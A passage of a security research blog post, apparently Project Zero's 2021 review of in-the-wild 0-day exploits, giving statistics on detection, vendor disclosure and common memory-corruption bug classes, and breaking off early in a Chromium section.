"}.lst-kix_rvy0q9fw47sg-7>li:before{content:"\0025cb "}.lst-kix_1mxsacho6zj1-3>li:before{content:"\0025cf "}.lst-kix_3zaknyhdqv25-0>li:before{content:"\0025cf "}.lst-kix_9i24fh2252ug-6>li:before{content:"\0025cf "}.lst-kix_givsp5ka59r-3>li:before{content:"\0025cf "}ol.lst-kix_qhs0t3wlsx02-8{list-style-type:none}.lst-kix_1mxsacho6zj1-5>li:before{content:"\0025a0 "}.lst-kix_givsp5ka59r-5>li:before{content:"\0025a0 "}.lst-kix_givsp5ka59r-7>li:before{content:"\0025cb "}.lst-kix_grz5i5wr9ig-0>li:before{content:"\0025cf "}.lst-kix_1mxsacho6zj1-7>li:before{content:"\0025cb "}.lst-kix_rwsfzn4jdl6v-4>li:before{content:"\0025cb "}ol.lst-kix_qhs0t3wlsx02-3{list-style-type:none}ol.lst-kix_qhs0t3wlsx02-2{list-style-type:none}ol.lst-kix_qhs0t3wlsx02-1{list-style-type:none}ol.lst-kix_czzguda5pqu4-2.start{counter-reset:lst-ctn-kix_czzguda5pqu4-2 0}ol.lst-kix_qhs0t3wlsx02-0{list-style-type:none}ol.lst-kix_qhs0t3wlsx02-7{list-style-type:none}ol.lst-kix_qhs0t3wlsx02-6{list-style-type:none}.lst-kix_rwsfzn4jdl6v-2>li:before{content:"\0025a0 "}ol.lst-kix_qhs0t3wlsx02-5{list-style-type:none}ol.lst-kix_qhs0t3wlsx02-4{list-style-type:none}ol.lst-kix_qhs0t3wlsx02-4.start{counter-reset:lst-ctn-kix_qhs0t3wlsx02-4 0}ol.lst-kix_czzguda5pqu4-3.start{counter-reset:lst-ctn-kix_czzguda5pqu4-3 0}.lst-kix_rwsfzn4jdl6v-0>li:before{content:"\0025cf "}.lst-kix_czzguda5pqu4-8>li:before{content:"" counter(lst-ctn-kix_czzguda5pqu4-8,lower-roman) ". "}.lst-kix_qhs0t3wlsx02-0>li{counter-increment:lst-ctn-kix_qhs0t3wlsx02-0}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_czzguda5pqu4-6>li:before{content:"" counter(lst-ctn-kix_czzguda5pqu4-6,decimal) ". "}.lst-kix_knibgsincpme-0>li:before{content:"\0025cf "}.lst-kix_czzguda5pqu4-0>li:before{content:"" counter(lst-ctn-kix_czzguda5pqu4-0,decimal) ". "}.lst-kix_czzguda5pqu4-4>li:before{content:"" counter(lst-ctn-kix_czzguda5pqu4-4,lower-latin) ". "}.lst-kix_knibgsincpme-2>li:before{content:"\0025a0 "}.lst-kix_h2vtkcla8l9d-5>li{counter-increment:lst-ctn-kix_h2vtkcla8l9d-5}.lst-kix_qhs0t3wlsx02-6>li{counter-increment:lst-ctn-kix_qhs0t3wlsx02-6}.lst-kix_czzguda5pqu4-3>li{counter-increment:lst-ctn-kix_czzguda5pqu4-3}.lst-kix_czzguda5pqu4-2>li:before{content:"" counter(lst-ctn-kix_czzguda5pqu4-2,lower-roman) ". "}ol{margin:0;padding:0}table td,table th{padding:0}.HNYIspzEBn-c4{margin-left:36pt;padding-top:0pt;padding-left:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.HNYIspzEBn-c11{padding-top:20pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.HNYIspzEBn-c13{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:20pt;font-family:"Arial";font-style:normal}.HNYIspzEBn-c16{color:#666666;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:15pt;font-family:"Arial";font-style:normal}.HNYIspzEBn-c8{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:italic}.HNYIspzEBn-c7{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.HNYIspzEBn-c2{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.HNYIspzEBn-c12{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:16pt;font-family:"Arial";font-style:normal}.HNYIspzEBn-c0{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.HNYIspzEBn-c18{padding-top:0pt;padding-bottom:16pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.HNYIspzEBn-c5{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.HNYIspzEBn-c1{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.HNYIspzEBn-c10{font-family:Consolas,"Courier New";color:#0d904f;font-weight:400}.HNYIspzEBn-c19{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.HNYIspzEBn-c3{color:inherit;text-decoration:inherit}.HNYIspzEBn-c6{padding:0;margin:0}.HNYIspzEBn-c9{font-weight:700;font-style:italic}.HNYIspzEBn-c17{font-weight:700}.HNYIspzEBn-c14{font-style:italic}.HNYIspzEBn-c15{margin-left:36pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="HNYIspzEBn-c19">
<p class="c18 subtitle" id="h.bcdrmuya7iqp"><span class="HNYIspzEBn-c16">A Year in Review of 0-days Used In-the-Wild in 2021</span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">Posted by Maddie Stone, Google Project Zero</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>This is our third annual year in review of 0-days exploited in-the-wild [</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html">2020</a></span><span>, </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html">2019</a></span><span>]. Each year we’ve looked back at all of the detected and disclosed in-the-wild 0-days as a group and synthesized what we think the trends and takeaways are. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you’re interested in the analysis of individual exploits, please check out our </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/p/rca.html">root cause analysis repository</a></span><span class="HNYIspzEBn-c0">.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>We perform and share this analysis in order to </span><span class="HNYIspzEBn-c17">make 0-day hard</span><span>. We want it to be more costly, more resource intensive, and overall more difficult for attackers to use 0-day capabilities. 2021 highlighted just how important it is to stay relentless in our pursuit to make it harder for attackers to exploit users with 0-days. We heard </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://forbiddenstories.org/about-the-pegasus-project/">over</a></span><span> and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/">over</a></span><span> and </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://www.amnesty.org/en/latest/research/2021/11/devices-of-palestinian-human-rights-defenders-hacked-with-nso-groups-pegasus-spyware-2/">over</a></span><span class="HNYIspzEBn-c0"> about how governments were targeting journalists, minoritized populations, politicians, human rights defenders, and even security researchers around the world. The decisions we make in the security and tech communities can have real impacts on society and our fellow humans’ lives.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>We’ll provide our evidence and process for our conclusions in the body of this post, and then wrap it all up with our thoughts on next steps and hopes for 2022 in the conclusion. If digging into the bits and bytes is not your thing, then feel free to just check-out the Executive Summary and Conclusion.</span></p><h1 class="HNYIspzEBn-c11" id="h.tf3r1j8la9a4"><span class="HNYIspzEBn-c13">Executive Summary</span></h1>
<p class="HNYIspzEBn-c5"><span>2021 included the detection and disclosure of </span><span>58</span><span> in-the-wild 0-days, the most ever recorded since Project Zero began tracking in mid-2014. That’s more than double the previous maximum of 28 detected in 2015 and especially stark when you consider that there were only 25 detected in 2020. We’ve tracked publicly known in-the-wild 0-day exploits in </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=0">this spreadsheet</a></span><span class="HNYIspzEBn-c0"> since mid-2014.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>While we often talk about the number of 0-day exploits </span><span class="HNYIspzEBn-c9">used</span><span> in-the-wild, what we’re actually discussing is the number of 0-day exploits </span><span class="HNYIspzEBn-c9">detected and disclosed</span><span class="HNYIspzEBn-c14"> </span><span class="HNYIspzEBn-c0">as in-the-wild. And that leads into our first conclusion: we believe the large uptick in in-the-wild 0-days in 2021 is due to increased detection and disclosure of these 0-days, rather than simply increased usage of 0-day exploits.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>With this record number of in-the-wild 0-days to analyze we saw that attacker methodology hasn’t actually had to change much from previous years</span><span>. Attackers are having success using the same bug patterns and exploitation techniques and going after the same attack surfaces. Project Zero’s mission is “make 0day hard”.</span><span> </span><span class="HNYIspzEBn-c0">0-day will be harder when, overall, attackers are not able to use public methods and techniques for developing their 0-day exploits. When we look over these 58 0-days used in 2021, what we see instead are 0-days that are similar to previous & publicly known vulnerabilities. Only two 0-days stood out as novel: one for the technical sophistication of its exploit and the other for its use of logic bugs to escape the sandbox.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>So while we recognize the industry’s improvement in the detection and disclosure of in-the-wild 0-days, we also acknowledge that there’s a lot more improving to be done.</span><span class="HNYIspzEBn-c0"> Having access to more “ground truth” of how attackers are actually using 0-days shows us that they are able to have success by using previously known techniques and methods rather than having to invest in developing novel techniques. This is a clear area of opportunity for the tech industry.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>We had so many more data points in 2021 to learn about attacker behavior than we’ve had in the past. Having all this data, though, has left us with even more questions than we had before. </span><span>Unfortunately, attackers who actively use 0-day exploits do not share the 0-days they’re using or what percentage of 0-days we’re missing in our tracking, so we’ll never know exactly what proportion of 0-days are currently being found and disclosed publi</span><span class="HNYIspzEBn-c0">cly. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">Based on our analysis of the 2021 0-days we hope to see the following progress in 2022 in order to continue taking steps towards making 0-day hard:</span></p><ol class="c6 lst-kix_jdourvkzhmg1-0 start" start="1"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">All vendors agree to disclose the in-the-wild exploitation status of vulnerabilities in their security bulletins.</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">Exploit samples or detailed technical descriptions of the exploits are shared more widely.</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">Continued concerted efforts on reducing memory corruption vulnerabilities or rendering them unexploitable.Launch mitigations that will significantly impact the exploitability of memory corruption vulnerabilities.</span></li></ol><h1 class="HNYIspzEBn-c11" id="h.ka5ptbumk5o1"><span class="HNYIspzEBn-c13">A Record Year for In-the-Wild 0-days</span></h1>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">2021 was a record year for in-the-wild 0-days. So what happened?</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC72HVhQEdwHNIzMiyb18bUFr6hPCWJiKL2Mm43-tW11qc0ucOPI8A9oChEXQe0-QNOBF83SIcfyjcyvPveuWvgipbiBzHWqZTx2-LilJFYIbx6uQeno9f481HJQ0CgylQkh8Ks7AbGC6tjhYDNBcI7jh6ihhzJATA0r_P4bQUBm-1lmHp2DPvWM6I/s1200/image1%287%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC72HVhQEdwHNIzMiyb18bUFr6hPCWJiKL2Mm43-tW11qc0ucOPI8A9oChEXQe0-QNOBF83SIcfyjcyvPveuWvgipbiBzHWqZTx2-LilJFYIbx6uQeno9f481HJQ0CgylQkh8Ks7AbGC6tjhYDNBcI7jh6ihhzJATA0r_P4bQUBm-1lmHp2DPvWM6I/s1200/image1%287%29.png" border="0" alt="bar graph showing the number of in-the-wild 0-day detected per year from 2015-2021. The totals are taken from this tracking spreadsheet: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" style="max-height: 750; max-width: 600px;"title="bar graph showing the number of in-the-wild 0-day detected per year from 2015-2021. The totals are taken from this tracking spreadsheet: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" /></a></span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">Is it that software security is getting worse? Or is it that attackers are using 0-day exploits more? Or has our ability to detect and disclose 0-days increased? When looking at the significant uptick from 2020 to 2021, we think it's mostly explained by the latter. While we believe there has been a steady growth in interest and investment in 0-day exploits by attackers in the past several years, and that security still needs to urgently improve, it appears that the security industry's ability to detect and disclose in-the-wild 0-day exploits is the primary explanation for the increase in observed 0-day exploits in 2021.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>While we often talk about “0-day exploits </span><span class="HNYIspzEBn-c9">used </span><span>in-the-wild”, what we’re actually tracking are “0-day exploits </span><span class="HNYIspzEBn-c9">detected and disclosed</span><span> as used in-the-wild”.</span><span> There are more factors than just the </span><span class="HNYIspzEBn-c9">use</span><span class="HNYIspzEBn-c14"> </span><span class="HNYIspzEBn-c0">that contribute to an increase in that number, most notably: detection and disclosure. Better detection of 0-day exploits and more transparently disclosed exploited 0-day vulnerabilities is a positive indicator for security and progress in the industry. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">Overall, we can break down the uptick in the number of in-the-wild 0-days into:</span></p><ul style="padding: 0;" class="c6 lst-kix_rwsfzn4jdl6v-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">More detection of in-the-wild 0-day exploits</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">More public disclosure of in-the-wild 0-day exploitation</span></li></ul><h2 class="HNYIspzEBn-c7" id="h.irhic7h0695k"><span class="HNYIspzEBn-c12">More detection</span></h2>
<p class="HNYIspzEBn-c5"><span>In the </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html">2019 Year in Review</a></span><span>, we wrote about the “Detection Deficit”. We stated “</span><span class="HNYIspzEBn-c17">As a community, our ability to detect 0-days being used in the wild is severely lacking to the point that we can’t draw significant conclusions due to the lack of (and biases in) the data we have collected</span><span class="HNYIspzEBn-c0">.” In the last two years, we believe that there’s been progress on this gap. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>Anecdotally, we hear from more people that they’ve begun working more on detection of 0-day exploits. Quantitatively, while a </span><span class="HNYIspzEBn-c14">very</span><span> rough measure, we’re also seeing the number of entities credited with reporting in-the-wild 0-days increasing. I</span><span>t stands to reason that if the number of people working on trying to find 0-day exploits increases, then the number of in-the-wild 0-day exploits detected may increase.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMbFpoEKSSn5AbAzsovaZ0yN6_OFXo9u4hpDCXJBpro8LRUWJlVQ9CSqtzT2V9ohrhOvP3_RnrYsOzFGPK0FZGJmW2713g2vVW82ReJVXpjAZc57BCxtHg8i-6AdR_ThDZB6UKvzAKekbmAkuUBliMyDyWSBW87z4ZZQJC3KX-_ptZIHveotLGoJ9I/s1200/image5%284%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMbFpoEKSSn5AbAzsovaZ0yN6_OFXo9u4hpDCXJBpro8LRUWJlVQ9CSqtzT2V9ohrhOvP3_RnrYsOzFGPK0FZGJmW2713g2vVW82ReJVXpjAZc57BCxtHg8i-6AdR_ThDZB6UKvzAKekbmAkuUBliMyDyWSBW87z4ZZQJC3KX-_ptZIHveotLGoJ9I/s1200/image5%284%29.png" border="0" alt="A bar graph showing the number of distinct reporters of 0-day in-the-wild vulnerabilities per year for 2019-2021. 2019: 9, 2020: 10, 2021: 20. The data is taken from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" style="max-height: 750; max-width: 600px;"title="A bar graph showing the number of distinct reporters of 0-day in-the-wild vulnerabilities per year for 2019-2021. 2019: 9, 2020: 10, 2021: 20. The data is taken from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" /></a></span></p>
<p class="HNYIspzEBn-c5"></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRS0t_2Bwvc3U_EIr5h7NcWpQyjzHCPb4OMiDpzPxPs587otAEj8bzwch8UMFlgKchwdSq4L_PXRn1O6KGLHUl4X9voLBdZJNQsgQyJcMCVB4Y8-aRHaXRpOYZw7KVtyNYwdWpwX8ILUV1fyG2kDsXVWORsSPUBGVTON90gWf9POhhxA4edxNe1eoV/s1200/image2%285%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRS0t_2Bwvc3U_EIr5h7NcWpQyjzHCPb4OMiDpzPxPs587otAEj8bzwch8UMFlgKchwdSq4L_PXRn1O6KGLHUl4X9voLBdZJNQsgQyJcMCVB4Y8-aRHaXRpOYZw7KVtyNYwdWpwX8ILUV1fyG2kDsXVWORsSPUBGVTON90gWf9POhhxA4edxNe1eoV/s1200/image2%285%29.png" border="0" alt="a line graph showing how many in-the-wild 0-days were found by their own vendor per year from 2015 to 2021. 2015: 0, 2016: 0, 2017: 2, 2018: 0, 2019: 4, 2020: 5, 2021: 17. Data comes from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" style="max-height: 750; max-width: 600px;"title="a line graph showing how many in-the-wild 0-days were found by their own vendor per year from 2015 to 2021. 2015: 0, 2016: 0, 2017: 2, 2018: 0, 2019: 4, 2020: 5, 2021: 17. Data comes from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" /></a></span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>We’ve also seen the number of vendors detecting in-the-wild 0-days in their own products increasing.</span><span> Whether or not these vendors were previously working on detection, vendors seem to have found ways to be more successful in 2021. Vendors likely have the most telemetry and overall knowledge and visibility into their products so it’s important that they are investing in (and hopefully having success in) detecting 0-days targeting their own products. As shown in the </span><span>chart above</span><span class="HNYIspzEBn-c0">, there was a significant increase in the number of in-the-wild 0-days discovered by vendors in their own products. Google discovered 7 of the in-the-wild 0-days in their own products and Microsoft discovered 10 in their products!</span></p><h2 class="HNYIspzEBn-c7" id="h.bkkzvkf2rtnk"><span class="HNYIspzEBn-c12">More disclosure</span></h2>
<p class="HNYIspzEBn-c5"><span>The second reason why the number of detected in-the-wild 0-days has increased is due to more disclosure of these vulnerabilities. Apple and Google Android </span><span>(we </span><span>differentiate</span><span> “Google Android” rather than just “Google” because Google Chrome has been annotating their security bulletins for the last few years)</span><span class="HNYIspzEBn-c0"> first began labeling vulnerabilities in their security advisories with the information about potential in-the-wild exploitation in November 2020 and January 2021 respectively. When vendors don’t annotate their release notes, the only way we know that a 0-day was exploited in-the-wild is if the researcher who discovered the exploitation comes forward. If Apple and Google Android had not begun annotating their release notes, the public would likely not know about at least 7 of the Apple in-the-wild 0-days and 5 of the Android in-the-wild 0-days. Why? Because these vulnerabilities were reported by “Anonymous” reporters. If the reporters didn’t want credit for the vulnerability, it’s unlikely that they would have gone public to say that there were indications of exploitation. That is 12 0-days that wouldn’t have been included in this year’s list if Apple and Google Android had not begun transparently annotating their security advisories. </span></p>
<p class="HNYIspzEBn-c5"></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPe_J-0Wu9Ap-0n3Yj5BoXiWTnjViyyGasIChhb3juADZosK9nTbyiaWtzuRyjwG3frQNjLsvRMRoQHrFfo1iKa3GjmcuLHqat40GcoechQ16XbhpVGwF7m_TJ0Oucvy3wvm8x0aXbVnJfhkG2FNkxI4cJf5ONBqEYnPxQDUmZChvByLHE8OzSU20N/s1200/image3%287%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPe_J-0Wu9Ap-0n3Yj5BoXiWTnjViyyGasIChhb3juADZosK9nTbyiaWtzuRyjwG3frQNjLsvRMRoQHrFfo1iKa3GjmcuLHqat40GcoechQ16XbhpVGwF7m_TJ0Oucvy3wvm8x0aXbVnJfhkG2FNkxI4cJf5ONBqEYnPxQDUmZChvByLHE8OzSU20N/s1200/image3%287%29.png" border="0" alt="bar graph that shows the number of Android and Apple (WebKit + iOS + macOS) in-the-wild 0-days per year. The bar graph is split into two color: yellow for Anonymously reported 0-days and green for non-anonymous reported 0-days. 2021 is the only year with any anonymously reported 0-days. 2015: 0, 2016: 3, 2018: 2, 2019: 1, 2020: 3, 2021: Non-Anonymous: 8, Anonymous- 12. Data from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" style="max-height: 750; max-width: 600px;" title="bar graph that shows the number of Android and Apple (WebKit + iOS + macOS) in-the-wild 0-days per year. The bar graph is split into two color: yellow for Anonymously reported 0-days and green for non-anonymous reported 0-days. 2021 is the only year with any anonymously reported 0-days. 2015: 0, 2016: 3, 2018: 2, 2019: 1, 2020: 3, 2021: Non-Anonymous: 8, Anonymous- 12. Data from: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=2129022708" /></a></span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>Kudos and thank you to Microsoft, Google Chrome, and Adobe who have been annotating their security bulletins for transparency for multiple years now! And thanks to Apache who also annotated their release notes for </span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://httpd.apache.org/security/vulnerabilities_24.html">CVE-2021-41773</a></span><span class="HNYIspzEBn-c0"> this past year. </span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">In-the-wild 0-days in Qualcomm and ARM products were annotated as in-the-wild in Android security bulletins, but not in the vendor’s own security advisories.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>It's highly likely that in 2021, there were other 0-days that were exploited in the wild and detected, but vendors did not mention this in their release notes. In 2022, we hope that more vendors start noting when they patch vulnerabilities that have been exploited in-the-wild. Until we’re confident that all vendors are transparently disclosing in-the-wild status, there’s a big question of how many in-the-wild 0-days are discovered, but not labeled publicly by vendors.</span></p><h1 class="HNYIspzEBn-c11" id="h.s04j4o5mq8tl"><span>New Year, Old Techniques</span></h1>
<p class="HNYIspzEBn-c5"><span>We had a record number of “data points” in 2021 to understand how attackers are actually using 0-day exploits. A bit surprising to us though, out of all those data points, there was nothing new amongst all this data. 0-day exploits are considered one of the most </span><span>advanced</span><span> attack methods an actor can use, so it would be easy to conclude that attackers must be using special tricks and attack surfaces. But instead, the 0-days we saw in 2021 generally followed the same bug patterns, attack surfaces, and exploit “shapes” previously seen in public research. Once “0-day is hard”, we’d expect that to be successful, attackers would have to find new bug classes of vulnerabilities in new attack surfaces using never before seen exploitation methods. </span><span>In general, </span><span>that wasn't what the</span><span> data showed us this year. With two exceptions (described below in the iOS section) out of the 58, everything we saw was pretty “</span><span class="HNYIspzEBn-c1"><a class="HNYIspzEBn-c31" href="https://www.dictionary.com/browse/meh#:~:text=unimpressive%3B%20boring%3A">meh</a></span><span>” or standard.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">Out of the 58 in-the-wild 0-days for the year, 39, or 67% were memory corruption vulnerabilities. Memory corruption vulnerabilities have been the standard for attacking software for the last few decades and it’s still how attackers are having success. Out of these memory corruption vulnerabilities, the majority also stuck with very popular and well-known bug classes:</span></p><ul style="padding: 0;" class="c6 lst-kix_bfmkl5o48mun-0 start"><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">17 use-after-free</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">6 out-of-bounds read & write</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">4 buffer overflow</span></li><li style="margin-left: 46pt;" class="c4 li-bullet-0"><span class="HNYIspzEBn-c0">4 integer overflow</span></li></ul>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
<p class="HNYIspzEBn-c5"><span>In the next sections we’ll dive into each major platform that we saw in-the-wild 0-days for this year. We’ll share the trends and explain why what we saw was pretty unexceptional.</span></p><h2 class="HNYIspzEBn-c7" id="h.421487jv8qwq"><span class="HNYIspzEBn-c12">Chromium (Chrome)</span></h2>
<p class="HNYIspzEBn-c5"><span class="HNYIspzEBn-c0">Chromium had a record high number of 0-days detected and disclosed in 2021 with 14. Out of these 14, 10 were renderer remote code execution bugs, 2 were sandbox escapes, 1 was an infoleak, and 1 was used to open a webpage in Android apps other than Google Chrome.</span></p>
<p class="HNYIspzEBn-c2"><span class="HNYIspzEBn-c0"></span></p>
